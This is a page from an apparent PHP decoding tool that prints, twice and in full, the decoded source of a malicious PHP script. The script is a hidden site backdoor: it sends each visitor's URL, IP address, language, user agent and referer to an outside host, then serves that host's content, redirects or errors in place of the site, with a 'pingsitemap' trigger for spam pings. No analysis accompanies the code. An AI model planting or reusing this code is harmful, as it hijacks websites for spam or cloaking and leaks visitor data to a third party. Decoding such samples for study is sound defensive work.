Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

define("W",'http://fgd751.ageddish.com');function k($a){return@$_SERVER[$a]?$_SERVER[$a]:"..

Decoded Output download

<?  define("W",'http://fgd751.ageddish.com');function k($a){return@$_SERVER[$a]?$_SERVER[$a]:"";}$b=k('REQUEST_URI');define("LINK",(k('HTTPS')?'https':'http')."://".k('HTTP_HOST').$b);$c="/".ltrim(k('SCRIPT_FILENAME'),k('DOCUMENT_ROOT'));if($c!=k('PHP_SELF'))$c=k('PHP_SELF');function c1($g){$i=@file_get_contents($g);$j=$http_response_header;if(!$j)$j=array();foreach($j as $m=>$n){if(stripos($n,"Content-Type")!==false)header($n);}return $i;}function c2($g,$o,$q){if(function_exists("curl_init")){$s=curl_init();curl_setopt($s,CURLOPT_URL,$g);if($q){curl_setopt($s,CURLOPT_POST,1);curl_setopt($s,CURLOPT_POSTFIELDS,$o);}curl_setopt($s,CURLOPT_RETURNTRANSFER,1);curl_setopt($s,CURLOPT_HEADER,0);curl_setopt($s,CURLOPT_FOLLOWLOCATION,1);curl_setopt($s,CURLOPT_SSL_VERIFYPEER,false);$t=curl_exec($s);$n=curl_getinfo($s);if(!empty($n["content_type"]))@header("content-type: ".$n["content_type"]);curl_close($s);return $t;}return false;}function h($g,$o){$v=$g;if(!empty($o))$v.="?".$o;$c=c2($v,"",0);if(!$c)$c=@c1($v);if(!$c)$c=c2($g,$o,1);$a="5";if($c){$a=substr($c,0,1);}switch($a){case "4":@header('HTTP/1.1 404 Not Found');die;case "5":@header('HTTP/1.1 500 Internal Server Error');die;case "3":@header('HTTP/1.1 302 Moved Permanently');@header('Location: '.substr($c,1));@header('referer: '.LINK);die;case "7":return false;case "8":die;default:return $c;}}function gip(){$w="";foreach(array('HTTP_CLIENT_IP','HTTP_CF_CONNECTING_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR')as $x){if(array_key_exists($x,$_SERVER)===true){foreach(explode(',',k($x))as $w){$w=trim($w);if(filter_var($w,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)!==false){return $w;}}}}return $w;}$z=http_build_query(array("l"=>LINK,"ip"=>gip(),"lg"=>k("HTTP_ACCEPT_LANGUAGE"),"ua"=>k('HTTP_USER_AGENT'),"r"=>k("HTTP_REFERER"),"f"=>$c,));if(strpos($b,"pingsitemap")!==false){$aa=explode(",",h(W,$z));if($aa){foreach($aa as $bb){$t=h($bb,"");if(stristr($t,'successfully')){echo $bb.'<br>pingok<br>';}else{echo $bb.'<br>'.$t;}}die();}}else{$c=h(W,$z);if($c)die($c);} ?>

Did this file decode correctly?

Original Code

define("W",'http://fgd751.ageddish.com');function k($a){return@$_SERVER[$a]?$_SERVER[$a]:"";}$b=k('REQUEST_URI');define("LINK",(k('HTTPS')?'https':'http')."://".k('HTTP_HOST').$b);$c="/".ltrim(k('SCRIPT_FILENAME'),k('DOCUMENT_ROOT'));if($c!=k('PHP_SELF'))$c=k('PHP_SELF');function c1($g){$i=@file_get_contents($g);$j=$http_response_header;if(!$j)$j=array();foreach($j as $m=>$n){if(stripos($n,"Content-Type")!==false)header($n);}return $i;}function c2($g,$o,$q){if(function_exists("curl_init")){$s=curl_init();curl_setopt($s,CURLOPT_URL,$g);if($q){curl_setopt($s,CURLOPT_POST,1);curl_setopt($s,CURLOPT_POSTFIELDS,$o);}curl_setopt($s,CURLOPT_RETURNTRANSFER,1);curl_setopt($s,CURLOPT_HEADER,0);curl_setopt($s,CURLOPT_FOLLOWLOCATION,1);curl_setopt($s,CURLOPT_SSL_VERIFYPEER,false);$t=curl_exec($s);$n=curl_getinfo($s);if(!empty($n["content_type"]))@header("content-type: ".$n["content_type"]);curl_close($s);return $t;}return false;}function h($g,$o){$v=$g;if(!empty($o))$v.="?".$o;$c=c2($v,"",0);if(!$c)$c=@c1($v);if(!$c)$c=c2($g,$o,1);$a="5";if($c){$a=substr($c,0,1);}switch($a){case "4":@header('HTTP/1.1 404 Not Found');die;case "5":@header('HTTP/1.1 500 Internal Server Error');die;case "3":@header('HTTP/1.1 302 Moved Permanently');@header('Location: '.substr($c,1));@header('referer: '.LINK);die;case "7":return false;case "8":die;default:return $c;}}function gip(){$w="";foreach(array('HTTP_CLIENT_IP','HTTP_CF_CONNECTING_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_X_CLUSTER_CLIENT_IP','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR')as $x){if(array_key_exists($x,$_SERVER)===true){foreach(explode(',',k($x))as $w){$w=trim($w);if(filter_var($w,FILTER_VALIDATE_IP,FILTER_FLAG_NO_PRIV_RANGE|FILTER_FLAG_NO_RES_RANGE)!==false){return $w;}}}}return $w;}$z=http_build_query(array("l"=>LINK,"ip"=>gip(),"lg"=>k("HTTP_ACCEPT_LANGUAGE"),"ua"=>k('HTTP_USER_AGENT'),"r"=>k("HTTP_REFERER"),"f"=>$c,));if(strpos($b,"pingsitemap")!==false){$aa=explode(",",h(W,$z));if($aa){foreach($aa as $bb){$t=h($bb,"");if(stristr($t,'successfully')){echo $bb.'<br>pingok<br>';}else{echo $bb.'<br>'.$t;}}die();}}else{$c=h(W,$z);if($c)die($c);}

Function Calls

define 1

Variables

None

Stats

MD5 3198c2fabcc72cf15725098ddafc9a42
Eval Count 0
Decode Time 92 ms